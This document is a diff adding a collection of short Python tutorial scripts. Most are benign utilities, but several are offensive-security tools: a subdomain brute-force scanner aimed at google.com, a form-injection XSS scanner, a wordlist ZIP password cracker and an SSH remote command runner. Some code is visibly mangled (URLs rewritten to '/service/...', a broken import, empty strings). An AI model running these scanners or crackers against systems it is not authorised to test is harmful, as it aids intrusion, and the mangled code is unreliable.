+                pixel[0] = int(r[:-1] + binary_secret_data[data_index], 2)
+                data_index += 1
+            if data_index < data_len:
+                # least significant green pixel bit
+                pixel[1] = int(g[:-1] + binary_secret_data[data_index], 2)
+                data_index += 1
+            if data_index < data_len:
+                # least significant blue pixel bit
+                pixel[2] = int(b[:-1] + binary_secret_data[data_index], 2)
+                data_index += 1
+            # if data is encoded, just break out of the loop
+            if data_index >= data_len:
+                break
+    return image
+
+
+def decode(image_name):
+    print("[+] Decoding...")
+    # read the image
+    image = cv2.imread(image_name)
+    binary_data = ""
+    for row in image:
+        for pixel in row:
+            r, g, b = to_bin(pixel)
+            binary_data += r[-1]
+            binary_data += g[-1]
+            binary_data += b[-1]
+
+    # split by 8-bits
+    all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ]
+    # convert from bits to characters
+    decoded_data = ""
+    for byte in all_bytes:
+        decoded_data += chr(int(byte, 2))
+        if decoded_data[-5:] == "=====":
+            break
+    return decoded_data[:-5]
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.")
+    parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding")
+    parser.add_argument("-e", "--encode", help="Encode the following image")
+    parser.add_argument("-d", "--decode", help="Decode the following image")
+    
+    args = parser.parse_args()
+    secret_data = args.text
+    if args.encode:
+        # if the encode argument is specified
+        input_image = args.encode
+        print("input_image:", input_image)
+        # split the absolute path and the file
+        path, file = os.path.split(input_image)
+        # split the filename and the image extension
+        filename, ext = file.split(".")
+        output_image = os.path.join(path, f"{filename}_encoded.{ext}")
+        # encode the data into the image
+        encoded_image = encode(image_name=input_image, secret_data=secret_data)
+        # save the output image (encoded image)
+        cv2.imwrite(output_image, encoded_image)
+        print("[+] Saved encoded image.")
+    if args.decode:
+        input_image = args.decode
+        # decode the secret data from the image
+        decoded_data = decode(input_image)
+        print("[+] Decoded data:", decoded_data)
+
+
+
+
+import requests
+from threading import Thread
+from queue import Queue
+
+q = Queue()
+
+def scan_subdomains(domain):
+    global q
+    while True:
+        # get the subdomain from the queue
+        subdomain = q.get()
+        # scan the subdomain
+        url = f"http://{subdomain}.{domain}/"
+        try:
+            requests.get(url)
+        except requests.ConnectionError:
+            pass
+        else:
+            print("[+] Discovered subdomain:", url)
+
+        # we're done with scanning that subdomain
+        q.task_done()
+
+
+def main(domain, n_threads, subdomains):
+    global q
+
+    # fill the queue with all the subdomains
+    for subdomain in subdomains:
+        q.put(subdomain)
+
+    for t in range(n_threads):
+        # start all threads
+        worker = Thread(target=scan_subdomains, args=(domain,))
+        # daemon thread means a thread that will end when the main thread ends
+        worker.daemon = True
+        worker.start()
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Faster Subdomain Scanner using Threads")
+    parser.add_argument("domain", help="Domain to scan for subdomains without protocol (e.g without 'http://' or 'https://')")
+    parser.add_argument("-l", "--wordlist", help="File that contains all subdomains to scan, line by line. Default is subdomains.txt",
+                        default="subdomains.txt")
+    parser.add_argument("-t", "--num-threads", help="Number of threads to use to scan the domain. Default is 10", default=10, type=int)
+    
+    args = parser.parse_args()
+    domain = args.domain
+    wordlist = args.wordlist
+    num_threads = args.num_threads
+
+    main(domain=domain, n_threads=num_threads, subdomains=open(wordlist).read().splitlines())
+    q.join()
+
+
+
+
+import requests
+
+# the domain to scan for subdomains
+domain = "google.com"
+
+# read all subdomains
+file = open("subdomains.txt")
+# read all content
+content = file.read()
+# split by new lines
+subdomains = content.splitlines()
+
+for subdomain in subdomains:
+    # construct the url
+    url = f"http://{subdomain}.{domain}/"
+    try:
+        # if this raises an ERROR, that means the subdomain does not exist
+        requests.get(url)
+    except requests.ConnectionError:
+        # if the subdomain does not exist, just pass, print nothing
+        pass
+    else:
+        print("[+] Discovered subdomain:", url)
+
+
+
+
+import requests
+from pprint import pprint
+from bs4 import BeautifulSoup as bs
+from urllib.parse import urljoin
+
+
+def get_all_forms(url):
+    """Given a url, it returns all forms from the HTML content"""
+    soup = bs(requests.get(url).content, "html.parser")
+    return soup.find_all("form")
+
+
+def get_form_details(form):
+    """
+    This function extracts all possible useful information about an HTML form
+    """
+    details = {}
+    # get the form action (target url)
+    action = form.attrs.get("action").lower()
+    # get the form method (POST, GET, etc.)
+    method = form.attrs.get("method", "get").lower()
+    # get all the input details such as type and name
+    inputs = []
+    for input_tag in form.find_all("input"):
+        input_type = input_tag.attrs.get("type", "text")
+        input_name = input_tag.attrs.get("name")
+        inputs.append({"type": input_type, "name": input_name})
+    # put everything to the resulting dictionary
+    details["action"] = action
+    details["method"] = method
+    details["inputs"] = inputs
+    return details
+
+
+def submit_form(form_details, url, value):
+    """
+    Submits a form given in form_details
+    Params:
+        form_details (list): a dictionary that contain form information
+        url (str): the original URL that contain that form
+        value (str): this will be replaced to all text and search inputs
+    Returns the HTTP Response after form submission
+    """
+    # construct the full URL (if the url provided in action is relative)
+    target_url = urljoin(url, form_details["action"])
+    # get the inputs
+    inputs = form_details["inputs"]
+    data = {}
+    for input in inputs:
+        # replace all text and search values with value
+        if input["type"] == "text" or input["type"] == "search":
+            input["value"] = value
+        input_name = input.get("name")
+        input_value = input.get("value")
+        if input_name and input_value:
+            # if input name and value are not None, 
+            # then add them to the data of form submission
+            data[input_name] = input_value
+
+    if form_details["method"] == "post":
+        return requests.post(target_url, data=data)
+    else:
+        # GET request
+        return requests.get(target_url, params=data)
+
+
+def scan_xss(url):
+    """
+    Given a url, it prints all XSS vulnerable forms and 
+    returns True if any is vulnerable, False otherwise
+    """
+    # get all the forms from the URL
+    forms = get_all_forms(url)
+    print(f"[+] Detected {len(forms)} forms on {url}.")
+    js_script = ""
+    # returning value
+    is_vulnerable = False
+    # iterate over all forms
+    for form in forms:
+        form_details = get_form_details(form)
+        content = submit_form(form_details, url, js_script).content.decode()
+        if js_script in content:
+            print(f"[+] XSS Detected on {url}")
+            print(f"[*] Form details:")
+            pprint(form_details)
+            is_vulnerable = True
+            # won't break because we want to print other available vulnerable forms
+    return is_vulnerable
+
+
+if __name__ == "__main__":
+    import sys
+    url = sys.argv[1]
+    print(scan_xss(url))
+
+
+
+
+from tqdm import tqdm
+
+import zipfile
+import sys
+
+# the password list path you want to use
+wordlist = sys.argv[2]
+# the zip file you want to crack its password
+zip_file = sys.argv[1]
+# initialize the Zip File object
+zip_file = zipfile.ZipFile(zip_file)
+# count the number of words in this wordlist
+n_words = len(list(open(wordlist, "rb")))
+# print the total number of passwords
+print("Total passwords to test:", n_words)
+with open(wordlist, "rb") as wordlist:
+    for word in tqdm(wordlist, total=n_words, unit="word"):
+        try:
+            zip_file.extractall(pwd=word.strip())
+        except:
+            continue
+        else:
+            print("[+] Password found:", word.decode().strip())
+            exit(0)
+print("[!] Password not found, try other wordlist.")
+
+
+
+
+import requests
+from pprint import pprint
+
+# email and password
+auth = ("emailexample.com", "ffffffff")
+
+# get the HTTP Response
+res = requests.get("https://secure.veesp.com/api/details", auth=auth)
+
+# get the account details
+account_details = res.json()
+
+pprint(account_details)
+
+# get the bought services
+services = requests.get('https://secure.veesp.com/api/service', auth=auth).json()
+pprint(services)
+
+# get the upgrade options
+upgrade_options = requests.get('https://secure.veesp.com/api/service/32723/upgrade', auth=auth).json()
+pprint(upgrade_options)
+
+# list all bought VMs
+all_vms = requests.get("https://secure.veesp.com/api/service/32723/vms", auth=auth).json()
+pprint(all_vms)
+
+# stop a VM automatically
+stopped = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/stop", auth=auth).json()
+print(stopped)
+# {'status': True}
+
+# start it again
+started = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/start", auth=auth).json()
+print(started)
+# {'status': True}
+
+
+
+
+import os
+import matplotlib.pyplot as plt
+
+
+def get_size_format(b, factor=1024, suffix="B"):
+    """
+    Scale bytes to its proper byte format
+    e.g:
+        1253656 => '1.20MB'
+        1253656678 => '1.17GB'
+    """
+    for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
+        if b < factor:
+            return f"{b:.2f}{unit}{suffix}"
+        b /= factor
+    return f"{b:.2f}Y{suffix}"
+
+
+def get_directory_size(directory):
+    """Returns the directory size in bytes."""
+    total = 0
+    try:
+        # print("[+] Getting the size of", directory)
+        for entry in os.scandir(directory):
+            if entry.is_file():
+                # if it's a file, use stat() function
+                total += entry.stat().st_size
+            elif entry.is_dir():
+                # if it's a directory, recursively call this function
+                total += get_directory_size(entry.path)
+    except NotADirectoryError:
+        # if directory isn't a directory, get the file size then
+        return os.path.getsize(directory)
+    except PermissionError:
+        # if for whatever reason we can't open the folder, return 0
+        return 0
+    return total
+
+
+def plot_pie(sizes, names):
+    """Plots a pie where sizes is the wedge sizes and names """
+    plt.pie(sizes, labels=names, autopct=lambda pct: f"{pct:.2f}%")
+    plt.title("Different Sub-directory sizes in bytes")
+    plt.show()
+
+
+if __name__ == "__main__":
+    import sys
+    folder_path = sys.argv[1]
+
+    directory_sizes = []
+    names = []
+    # iterate over all the directories inside this path
+    for directory in os.listdir(folder_path):
+        directory = os.path.join(folder_path, directory)
+        # get the size of this directory (folder)
+        directory_size = get_directory_size(directory)
+        if directory_size == 0:
+            continue
+        directory_sizes.append(directory_size)
+        names.append(os.path.basename(directory) + ": " + get_size_format(directory_size))
+
+    print("[+] Total directory size:", get_size_format(sum(directory_sizes)))
+    plot_pie(directory_sizes, names)
+
+
+
+
+import tarfile
+from tqdm import tqdm # pip3 install tqdm
+
+
+def decompress(tar_file, path, members=None):
+    """
+    Extracts tar_file and puts the members to path.
+    If members is None, all members on tar_file will be extracted.
+    """
+    tar = tarfile.open(tar_file, mode="r:gz")
+    if members is None:
+        members = tar.getmembers()
+    # with progress bar
+    # set the progress bar
+    progress = tqdm(members)
+    for member in progress:
+        tar.extract(member, path=path)
+        # set the progress description of the progress bar
+        progress.set_description(f"Extracting {member.name}")
+    # or use this
+    # tar.extractall(members=members, path=path)
+    # close the file
+    tar.close()
+
+
+def compress(tar_file, members):
+    """
+    Adds files (members) to a tar_file and compress it
+    """
+    # open file for gzip compressed writing
+    tar = tarfile.open(tar_file, mode="w:gz")
+    # with progress bar
+    # set the progress bar
+    progress = tqdm(members)
+    for member in progress:
+        # add file/folder/link to the tar file (compress)
+        tar.add(member)
+        # set the progress description of the progress bar
+        progress.set_description(f"Compressing {member}")
+    # close the file
+    tar.close()
+
+
+# compress("compressed.tar.gz", ["test.txt", "test_folder"])
+# decompress("compressed.tar.gz", "extracted")
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="TAR file compression/decompression using GZIP.")
+    parser.add_argument("method", help="What to do, either 'compress' or 'decompress'")
+    parser.add_argument("-t", "--tarfile", help="TAR file to compress/decompress, if it isn't specified for compression, the new TAR file will be named after the first file to compress.")
+    parser.add_argument("-p", "--path", help="The folder to compress into, this is only for decompression. Default is '.' (the current directory)", default="")
+    parser.add_argument("-f", "--files", help="File(s),Folder(s),Link(s) to compress/decompress separated by ','.")
+
+    args = parser.parse_args()
+    method = args.method
+    tar_file = args.tarfile
+    path = args.path
+    files = args.files
+
+    # split by ',' to convert into a list
+    files = files.split(",") if isinstance(files, str) else None
+
+    if method.lower() == "compress":
+        if not files:
+            print("Files to compress not provided, exiting...")
+            exit(1)
+        elif not tar_file:
+            # take the name of the first file
+            tar_file = f"{files[0]}.tar.gz"
+        compress(tar_file, files)
+    elif method.lower() == "decompress":
+        if not tar_file:
+            print("TAR file to decompress is not provided, nothing to do, exiting...")
+            exit(2)
+        decompress(tar_file, path, files)
+    else:
+        print("Method not known, please use 'compress/decompress'.")
+
+
+
+
+import smtplib
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from email.mime.audio import MIME
+
+# your credentials
+email = "emailexample.com"
+password = "password"
+
+# the sender's email
+FROM = "emailexample.com"
+# the receiver's email
+TO   = "toexample.com"
+# the subject of the email (subject)
+subject = "Just a subject"
+
+# initialize the message we wanna send
+msg = MIMEMultipart()
+# set the sender's email
+msg["From"] = FROM
+# set the receiver's email
+msg["To"] = TO
+# set the subject
+msg["Subject"] = subject
+# set the body of the email
+text = MIMEText("This email is sent using Python  !", "html")
+# attach this body to the email
+msg.attach(text)
+# initialize the SMTP server
+server = smtplib.SMTP("smtp.gmail.com", 587)
+# connect to the SMTP server as TLS mode (secure) and send EHLO
+server.starttls()
+# login to the account using the credentials
+server.login(email, password)
+# send the email
+server.sendmail(FROM, TO, msg.as_string())
+# terminate the SMTP session
+server.quit()
+
+
+
+
+import paramiko
+import argparse
+
+parser = argparse.ArgumentParser(description="Python script to execute BASH scripts on Linux boxes remotely.")
+parser.add_argument("host", help="IP or domain of SSH Server")
+parser.add_argument("-u", "--user", required=True, help="The username you want to access to.")
+parser.add_argument("-p", "--password", required=True, help="The password of that user")
+parser.add_argument("-b", "--bash", required=True, help="The BASH script you wanna execute")
+
+args = parser.parse_args()
+hostname = args.host
+username = args.user
+password = args.password
+bash_script = args.bash
+
+# initialize the SSH client
+client = paramiko.SSHClient()
+# add to known hosts
+client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+try:
+    client.connect(hostname=hostname, username=username, password=password)
+except:
+    print("[!] Cannot connect to the SSH Server")
+    exit()
+
+# read the BASH script content from the file
+bash_script = open(bash_script).read()
+# execute the BASH script
+stdin, stdout, stderr = client.exec_command(bash_script)
+# read the standard output and print it
+print(stdout.read().decode())
+# print errors if there are any
+err = stderr.read().decode()
+if err:
+    print(err)
+# close the connection
+client.close()
+
+
+
+
+import paramiko
+
+hostname = "192.168.1.101"
+username = "test"
+password = "abc123"
+
+commands = [
+    "pwd",
+    "id",
+    "uname -a",
+    "df -h"
+]
+
+# initialize the SSH client
+client = paramiko.SSHClient()
+# add to known hosts
+client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+try:
+    client.connect(hostname=hostname, username=username, password=password)
+except:
+    print("[!] Cannot connect to the SSH Server")
+    exit()
+
+# execute the commands
+for command in commands:
+    print("="*50, command, "="*50)
+    stdin, stdout, stderr = client.exec_command(command)
+    print(stdout.read().decode())
+    err = stderr.read().decode()
+    if err:
+        print(err)
+    
+
+client.close()
+
+
+
+
+from tqdm import tqdm
+import requests
+import sys
+
+# the url of file you want to download, passed from command line arguments
+url = sys.argv[1]
+# read 1024 bytes every time 
+buffer_size = 1024
+# download the body of response by chunk, not immediately
+response = requests.get(url, stream=True)
+
+# get the total file size
+file_size = int(response.headers.get("Content-Length", 0))
+
+# get the file name
+filename = url.split("/")[-1]
+
+# progress bar, changing the unit to bytes instead of iteration (default by tqdm)
+progress = tqdm(response.iter_content(buffer_size), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024)
+with open(filename, "wb") as f:
+    for data in progress:
+        # write data read to the file
+        f.write(data)
+        # update the progress bar manually
+        progress.update(len(data))
+
+
+
+
+import qrcode
+import sys
+
+data = sys.argv[1]
+filename = sys.argv[2]
+
+# generate qr code
+img = qrcode.make(data)
+# save img to a file
+img.save(filename)
+
+
+
+
+import cv2
+import sys
+
+filename = sys.argv[1]
+
+# read the QRCODE image
+img = cv2.imread(filename)
+
+# initialize the cv2 QRCode detector
+detector = cv2.QRCodeDetector()
+
+# detect and decode
+data, bbox, straight_qrcode = detector.detectAndDecode(img)
+
+# if there is a QR code
+if bbox is not None:
+    print(f"QRCode data:\n{data}")
+    # display the image with lines
+    # length of bounding box
+    n_lines = len(bbox)
+    for i in range(n_lines):
+        # draw all lines
+        point1 = tuple(bbox[i][0])
+        point2 = tuple(bbox[(i+1) % n_lines][0])
+        cv2.line(img, point1, point2, color=(255, 0, 0), thickness=2)
+
+
+
+# display the result
+cv2.imshow("img", img)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+
+# initalize the cam
+cap = cv2.VideoCapture(0)
+
+# initialize the cv2 QRCode detector
+detector = cv2.QRCodeDetector()
+
+while True:
+    _, img = cap.read()
+
+    # detect and decode
+    data, bbox, _ = detector.detectAndDecode(img)
+
+    # check if there is a QRCode in the image
+    if bbox is not None:
+        # display the image with lines
+        for i in range(len(bbox)):
+            # draw all lines
+            cv2.line(img, tuple(bbox[i][0]), tuple(bbox[(i+1) % len(bbox)][0]), color=(255, 0, 0), thickness=2)
+
+        if data:
+            print("[+] QR Code detected, data:", data)
+
+    # display the result
+    cv2.imshow("img", img)
+    
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+from github import Github
+
+# your github account credentials
+username = "username"
+password = "password"
+# initialize github object
+g = Github(username, password)
+
+# searching for my repository
+repo = g.search_repositories("pythoncode tutorials")[0]
+
+# create a file and commit n push
+repo.create_file("test.txt", "commit message", "content of the file")
+
+# delete that created file
+contents = repo.get_contents("test.txt")
+repo.delete_file(contents.path, "remove test.txt", contents.sha)
+
+
+
+
+import requests
+from pprint import pprint
+
+# github username
+username = "x4nth055"
+# url to request
+url = f"https://api.github.com/users/%7Busername%7D"
+# make the request and return the json
+user_data = requests.get(url).json()
+# pretty print JSON data
+pprint(user_data)
+# get name
+name = user_data["name"]
+# get blog url if there is
+blog = user_data["blog"]
+# extract location
+location = user_data["location"]
+# get email address that is publicly available
+email = user_data["email"]
+# number of public repositories
+public_repos = user_data["public_repos"]
+# get number of public gists
+public_gists = user_data["public_gists"]
+# number of followers
+followers = user_data["followers"]
+# number of following
+following = user_data["following"]
+# date of account creation
+date_created = user_data["created_at"]
+# date of account last update
+date_updated = user_data["updated_at"]
+# urls
+followers_url = user_data["followers_url"]
+following_url = user_data["following_url"]
+
+# print all
+print("User:", username)
+print("Name:", name)
+print("Blog:", blog)
+print("Location:", location)
+print("Email:", email)
+print("Total Public repositories:", public_repos)
+print("Total Public Gists:", public_gists)
+print("Total followers:", followers)
+print("Total following:", following)
+print("Date Created:", date_created)
+print("Date Updated:", date_updated)
+
+
+
+
+import base64
+from github import Github
+import sys
+
+
+def print_repo(repo):
+    # repository full name
+    print("Full name:", repo.full_name)
+    # repository description
+    print("Description:", repo.description)
+    # the date of when the repo was created
+    print("Date created:", repo.created_at)
+    # the date of the last git push
+    print("Date of last push:", repo.pushed_at)
+    # home website (if available)
+    print("Home Page:", repo.homepage)
+    # programming language
+    print("Language:", repo.language)
+    # number of forks
+    print("Number of forks:", repo.forks)
+    # number of stars
+    print("Number of stars:", repo.stargazers_count)
+    print("-"*50)
+    # repository content (files & directories)
+    print("Contents:")
+    for content in repo.get_contents(""):
+        print(content)
+    try:
+        # repo license
+        print("License:", base64.b64decode(repo.get_license().content.encode()).decode())
+    except:
+        pass
+    
+    
+# Github username from the command line
+username = sys.argv[1]
+# pygithub object
+g = Github()
+# get that user by username
+user = g.get_user(username)
+# iterate over all public repositories
+for repo in user.get_repos():
+    print_repo(repo)
+    print("="*100)
+
+
+
+
+from github import Github
+import base64
+
+def print_repo(repo):
+    # repository full name
+    print("Full name:", repo.full_name)
+    # repository description
+    print("Description:", repo.description)
+    # the date of when the repo was created
+    print("Date created:", repo.created_at)
+    # the date of the last git push
+    print("Date of last push:", repo.pushed_at)
+    # home website (if available)
+    print("Home Page:", repo.homepage)
+    # programming language
+    print("Language:", repo.language)
+    # number of forks
+    print("Number of forks:", repo.forks)
+    # number of stars
+    print("Number of stars:", repo.stargazers_count)
+    print("-"*50)
+    # repository content (files & directories)
+    print("Contents:")
+    for content in repo.get_contents(""):
+        print(content)
+    try:
+        # repo license
+        print("License:", base64.b64decode(repo.get_license().content.encode()).decode())
+    except:
+        pass
+
+# your github account credentials
+username = "username"
+password = "password"
+# initialize github object
+g = Github(username, password)
+# or use public version
+# g = Github()
+
+# search repositories by name
+for repo in g.search_repositories("pythoncode tutorials"):
+    # print repository details
+    print_repo(repo)
+    print("="*100)
+
+print("="*100)
+print("="*100)
+
+# search by programming language
+for i, repo in enumerate(g.search_repositories("language:python")):
+    print_repo(repo)
+    print("="*100)
+    if i == 9:
+        break
+
+
+
+
+import ipaddress
+# initialize an IPv4 Address
+ip = ipaddress.IPv4Address("192.168.1.1")
+
+# print True if the IP address is global
+print("Is global:", ip.is_global)
+
+# print Ture if the IP address is Link-local
+print("Is link-local:", ip.is_link_local)
+
+# ip.is_reserved
+# ip.is_multicast
+
+# next ip address
+print(ip + 1)
+
+# previous ip address
+print(ip - 1)
+
+# initialize an IPv4 Network
+network = ipaddress.IPv4Network("192.168.1.0/24")
+
+# get the network mask
+print("Network mask:", network.netmask)
+
+# get the broadcast address
+print("Broadcast address:", network.broadcast_address)
+
+# print the number of IP addresses under this network
+print("Number of hosts under", str(network), ":", network.num_addresses)
+
+# iterate over all the hosts under this network
+print("Hosts under", str(network), ":")
+for host in network.hosts():
+    print(host)
+
+# iterate over the subnets of this network
+print("Subnets:")
+for subnet in network.subnets(prefixlen_diff=2):
+    print(subnet)
+
+# get the supernet of this network
+print("Supernet:", network.supernet(prefixlen_diff=1))
+
+# prefixlen_diff: An integer, the amount the prefix length of
+        #   the network should be decreased by.  For example, given a
+        #   /24 network and a prefixlen_diff of 3, a supernet with a
+        #   /21 netmask is returned.
+
+# tell if this network is under (or overlaps) 192.168.0.0/16
+print("Overlaps 192.168.0.0/16:", network.overlaps(ipaddress.IPv4Network("192.168.0.0/16")))
+
+
+
+
+import keyboard
+
+# registering a hotkey that replaces one typed text with another
+# replaces every "email" followed by a space with my actual email
+keyboard.add_abbreviation("email", "rockikzthepythoncode.com")
+
+# invokes a callback everytime a hotkey is pressed
+keyboard.add_hotkey("ctrl+alt+p", lambda: print("CTRL+ALT+P Pressed!"))
+
+# check if a ctrl is pressed
+print(keyboard.is_pressed('ctrl'))
+
+# press space
+keyboard.send("space")
+
+# sends artificial keyboard events to the OS
+# simulating the typing of a given text
+# setting 0.1 seconds to wait between keypresses to look fancy
+keyboard.write("Python Programming is always fun!", delay=0.1)
+
+# record all keyboard clicks until esc is clicked
+events = keyboard.record('esc')
+# play these events
+keyboard.play(events)
+
+# remove all keyboard hooks in use
+keyboard.unhook_all()
+
+
+
+
+from fbchat import Client
+from fbchat.models import Message, MessageReaction
+
+# facebook user credentials
+username = "username.or.email"
+password = "password"
+
+# login
+client = Client(username, password)
+
+# get 20 users you most recently talked to
+users = client.fetchThreadList()
+print(users)
+
+# get the detailed informations about these users
+detailed_users = [ list(client.fetchThreadInfo(user.uid).values())[0] for user in users ]
+
+# sort by number of messages
+sorted_detailed_users = sorted(detailed_users, key=lambda u: u.message_count, reverse=True)
+
+# print the best friend!
+best_friend = sorted_detailed_users[0]
+
+print("Best friend:", best_friend.name, "with a message count of", best_friend.message_count)
+
+# message the best friend!
+client.send(Message(
+                    text=f"Congratulations {best_friend.name}, you are my best friend with {best_friend.message_count} messages!"
+                    ),
+            thread_id=best_friend.uid)
+
+# get all users you talked to in messenger in your account
+all_users = client.fetchAllUsers()
+
+print("You talked with a total of", len(all_users), "users!")
+
+# let's logout
+client.logout()
+
+
+
+
+import mouse
+
+# left click
+mouse.click('left')
+
+# right click
+mouse.click('right')
+
+# middle click
+mouse.click('middle')
+
+# get the position of mouse
+print(mouse.get_position())
+# In [12]: mouse.get_position()
+# Out[12]: (714, 488)
+
+# presses but doesn't release
+mouse.hold('left')
+# mouse.press('left')
+
+# drag from (0, 0) to (100, 100) relatively with a duration of 0.1s
+mouse.drag(0, 0, 100, 100, absolute=False, duration=0.1)
+
+# whether a button is clicked
+print(mouse.is_pressed('right'))
+
+# move 100 right & 100 down
+mouse.move(100, 100, absolute=False, duration=0.2)
+
+# make a listener when left button is clicked
+mouse.on_click(lambda: print("Left Button clicked."))
+# make a listener when right button is clicked
+mouse.on_right_click(lambda: print("Right Button clicked."))
+
+# remove the listeners when you want
+mouse.unhook_all()
+
+# scroll down
+mouse.wheel(-1)
+
+# scroll up
+mouse.wheel(1)
+
+# record until you click right
+events = mouse.record()
+
+# replay these events
+mouse.play(events[:-1])
+
+
+
+
+import pickle
+
+# define any Python data structure including lists, sets, tuples, dicts, etc.
+l = list(range(10000))
+
+# save it to a file
+with open("list.pickle", "wb") as file:
+    pickle.dump(l, file)
+
+# load it again
+with open("list.pickle", "rb") as file:
+    unpickled_l = pickle.load(file)
+
+
+print("unpickled_l == l: ", unpickled_l == l)
+print("unpickled l is l: ", unpickled_l is l)
+
+
+
+
+import pickle
+
+class Person:
+    def __init__(self, first_name, last_name, age, gender):
+        self.first_name = first_name
+        self.last_name = last_name
+        self.age = age
+        self.gender = gender
+
+    def __str__(self):
+        return f""
+
+
+p = Person("John", "Doe", 99, "Male")
+
+# save the object
+with open("person.pickle", "wb") as file:
+    pickle.dump(p, file)
+
+# load the object
+with open("person.pickle", "rb") as file:
+    p2 = pickle.load(file)
+
+print(p)
+print(p2)
+
+
+
+
+import pickle
+
+
+class Person:
+    def __init__(self, first_name, last_name, age, gender):
+        self.first_name = first_name
+        self.last_name = last_name
+        self.age = age
+        self.gender = gender
+
+    def __str__(self):
+        return f""
+
+p = Person("John", "Doe", 99, "Male")
+
+# get the dumped bytes
+dumped_p = pickle.dumps(p)
+print(dumped_p)
+
+# write them to a file
+with open("person.pickle", "wb") as file:
+    file.write(dumped_p)
+
+# load it
+with open("person.pickle", "rb") as file:
+    p2 = pickle.loads(file.read())
+
+print(p)
+print(p2)
+
+
+
+
+import camelot
+import sys
+
+# PDF file to extract tables from (from command-line)
+file = sys.argv[1]
+
+# extract all the tables in the PDF file
+tables = camelot.read_pdf(file)
+
+# number of tables extracted
+print("Total tables extracted:", tables.n)
+
+# print the first table as Pandas DataFrame
+print(tables[0].df)
+
+# export individually
+tables[0].to_csv("foo.csv")
+
+# or export all in a zip
+tables.export("foo.csv", f="csv", compress=True)
+
+# export to HTML
+tables.export("foo.html", f="html")
+
+
+
+
+import psutil
+from datetime import datetime
+import pandas as pd
+import time
+import os
+
+
+def get_size(bytes):
+    """
+    Returns size of bytes in a nice format
+    """
+    for unit in ['', 'K', 'M', 'G', 'T', 'P']:
+        if bytes < 1024:
+            return f"{bytes:.2f}{unit}B"
+        bytes /= 1024
+
+
+def get_processes_info():
+    # the list the contain all process dictionaries
+    processes = []
+    for process in psutil.process_iter():
+        # get all process info in one shot
+        with process.oneshot():
+            # get the process id
+            pid = process.pid
+            if pid == 0:
+                # System Idle Process for Windows NT, useless to see anyways
+                continue
+            # get the name of the file executed
+            name = process.name()
+            # get the time the process was spawned
+            try:
+                create_time = datetime.fromtimestamp(process.create_time())
+            except OSError:
+                # system processes, using boot time instead
+                create_time = datetime.fromtimestamp(psutil.boot_time())
+            try:
+                # get the number of CPU cores that can execute this process
+                cores = len(process.cpu_affinity())
+            except psutil.AccessDenied:
+                cores = 0
+            # get the CPU usage percentage
+            cpu_usage = process.cpu_percent()
+            # get the status of the process (running, idle, etc.)
+            status = process.status()
+            try:
+                # get the process priority (a lower value means a more prioritized process)
+                nice = int(process.nice())
+            except psutil.AccessDenied:
+                nice = 0
+            try:
+                # get the memory usage in bytes
+                memory_usage = process.memory_full_info().uss
+            except psutil.AccessDenied:
+                memory_usage = 0
+            # total process read and written bytes
+            io_counters = process.io_counters()
+            read_bytes = io_counters.read_bytes
+            write_bytes = io_counters.write_bytes
+            # get the number of total threads spawned by this process
+            n_threads = process.num_threads()
+            # get the username of user spawned the process
+            try:
+                username = process.username()
+            except psutil.AccessDenied:
+                username = "N/A"
+            
+        processes.append({
+            'pid': pid, 'name': name, 'create_time': create_time,
+            'cores': cores, 'cpu_usage': cpu_usage, 'status': status, 'nice': nice,
+            'memory_usage': memory_usage, 'read_bytes': read_bytes, 'write_bytes': write_bytes,
+            'n_threads': n_threads, 'username': username,
+        })
+
+    return processes
+
+
+def construct_dataframe(processes):
+    # convert to pandas dataframe
+    df = pd.DataFrame(processes)
+    # set the process id as index of a process
+    df.set_index('pid', inplace=True)
+    # sort rows by the column passed as argument
+    df.sort_values(sort_by, inplace=True, ascending=not descending)
+    # pretty printing bytes
+    df['memory_usage'] = df['memory_usage'].apply(get_size)
+    df['write_bytes'] = df['write_bytes'].apply(get_size)
+    df['read_bytes'] = df['read_bytes'].apply(get_size)
+    # convert to proper date format
+    df['create_time'] = df['create_time'].apply(datetime.strftime, args=("%Y-%m-%d %H:%M:%S",))
+    # reorder and define used columns
+    df = df[columns.split(",")]
+    return df
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Process Viewer & Monitor")
+    parser.add_argument("-c", "--columns", help="""Columns to show,
+                                                available are name,create_time,cores,cpu_usage,status,nice,memory_usage,read_bytes,write_bytes,n_threads,username.
+                                                Default is name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores.""",
+                        default="name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores")
+    parser.add_argument("-s", "--sort-by", dest="sort_by", help="Column to sort by, default is memory_usage .", default="memory_usage")
+    parser.add_argument("--descending", action="https://github.com/store_true", help="Whether to sort in descending order.")
+    parser.add_argument("-n", help="Number of processes to show, will show all if 0 is specified, default is 25 .", default=25)
+    parser.add_argument("-u", "--live-update", action="https://github.com/store_true", help="Whether to keep the program on and updating process information each second")
+
+    # parse arguments
+    args = parser.parse_args()
+    columns = args.columns
+    sort_by = args.sort_by
+    descending = args.descending
+    n = int(args.n)
+    live_update = args.live_update
+    # print the processes for the first time
+    processes = get_processes_info()
+    df = construct_dataframe(processes)
+    if n == 0:
+        print(df.to_string())
+    elif n > 0:
+        print(df.head(n).to_string())
+    # print continuously
+    while live_update:
+        # get all process info
+        processes = get_processes_info()
+        df = construct_dataframe(processes)
+        # clear the screen depending on your OS
+        os.system("cls") if "nt" in os.name else os.system("clear")
+        if n == 0:
+            print(df.to_string())
